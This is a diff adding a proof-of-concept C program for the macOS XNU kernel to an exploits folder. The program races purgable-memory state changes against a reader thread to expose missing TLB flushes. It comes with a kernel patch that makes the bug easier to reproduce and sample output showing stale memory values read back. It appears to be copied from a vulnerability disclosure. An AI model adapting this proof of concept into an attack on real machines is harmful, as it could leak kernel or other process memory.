PoC

Exploits/Dumy XnU.c

@@ -0,0 +1,90 @@
+#include <pthread.h>
+#include <assert.h>
+#include <err.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <sys/signal.h>
+#include <fcntl.h>
+
+#include <mach/mach.h>
+#include <mach/mach_vm.h>
+
+unsigned long *mapping = (void*)0x900000000UL;
+mach_vm_address_t mapping2 = 0x900000000UL;
+
+static const unsigned long magic_value = 0;
+
+volatile int loops = 0;
+void *thread_fn(void *dummy) {
+  while (1) {
+    loops++;
+    unsigned long value = *(volatile unsigned long *)mapping;
+    if (value != magic_value) {
+      printf("saw 0x%016lx\n", value);
+    }
+  }
+}
+
+//void *thread_fn_dummy(void *dummy) { while (1); }
+
+int main(void) {
+  setbuf(stdout, NULL);
+  if (mach_vm_allocate(mach_task_self(), &mapping2, 0x4000, VM_FLAGS_FIXED|VM_FLAGS_PURGABLE) != KERN_SUCCESS)
+    errx(1, "mach_vm_allocate");
+  assert(mapping2 == (unsigned long)mapping);
+  mapping[1] = 1; // fault in
+
+  pthread_t thread;
+  //if (pthread_create(&thread, NULL, thread_fn_dummy, NULL))
+  //  errx(1, "pthread_create");
+  if (pthread_create(&thread, NULL, thread_fn, NULL))
+    errx(1, "pthread_create");
+  while (1) {
+    usleep(1000);
+    int state = VM_PURGABLE_EMPTY;
+    int res;
+    if ((res=mach_vm_purgable_control(mach_task_self(), mapping2, VM_PURGABLE_SET_STATE, &state)) != KERN_SUCCESS)
+      errx(1, "mach_vm_purgable_control (set empty) = %d", res);
+    usleep(1000);
+    state = VM_PURGABLE_NONVOLATILE;
+    if (mach_vm_purgable_control(mach_task_self(), mapping2, VM_PURGABLE_SET_STATE, &state) != KERN_SUCCESS)
+      errx(1, "mach_vm_purgable_control (set nonvolatile)");
+    mapping[1] = 1;
+  }
+}
+=================
+
+Unfortunately, the only Mac I have here is a Mac Mini, so I patched
+the function pmap_flush() in XNU (version 4570.71.2) as follows to
+make the same problem appear on machines with less cores (and also
+added a bunch of printfs):
+
+=================
+        mp_disable_preemption();
+
+        my_cpu = cpu_number();
+        cpus_to_signal = pfc->pfc_cpus;
++       cpus_to_signal &= 0;
+
+        PMAP_TRACE_CONSTANT(PMAP_CODE(PMAP__FLUSH_DELAYED_TLBS) | DBG_FUNC_START,
+                            NULL, cpus_to_signal);
+
+        for (cpu = 0, cpu_bit = 1; cpu < real_ncpus && cpus_to_signal; cpu++, cpu_bit <<= 1) {
+=================
+
+With the patched kernel, I can occasionally observe the effects of
+missing TLB flushes:
+
+=================
+$ gcc -o test test.c 
+$ time ./test       
+saw 0x0000000000000400
+saw 0x00007fff64d472a8
+saw 0xffffffffffffffff
+^C
+
+real    3m54.100s
+user    3m53.462s
+sys     0m4.032s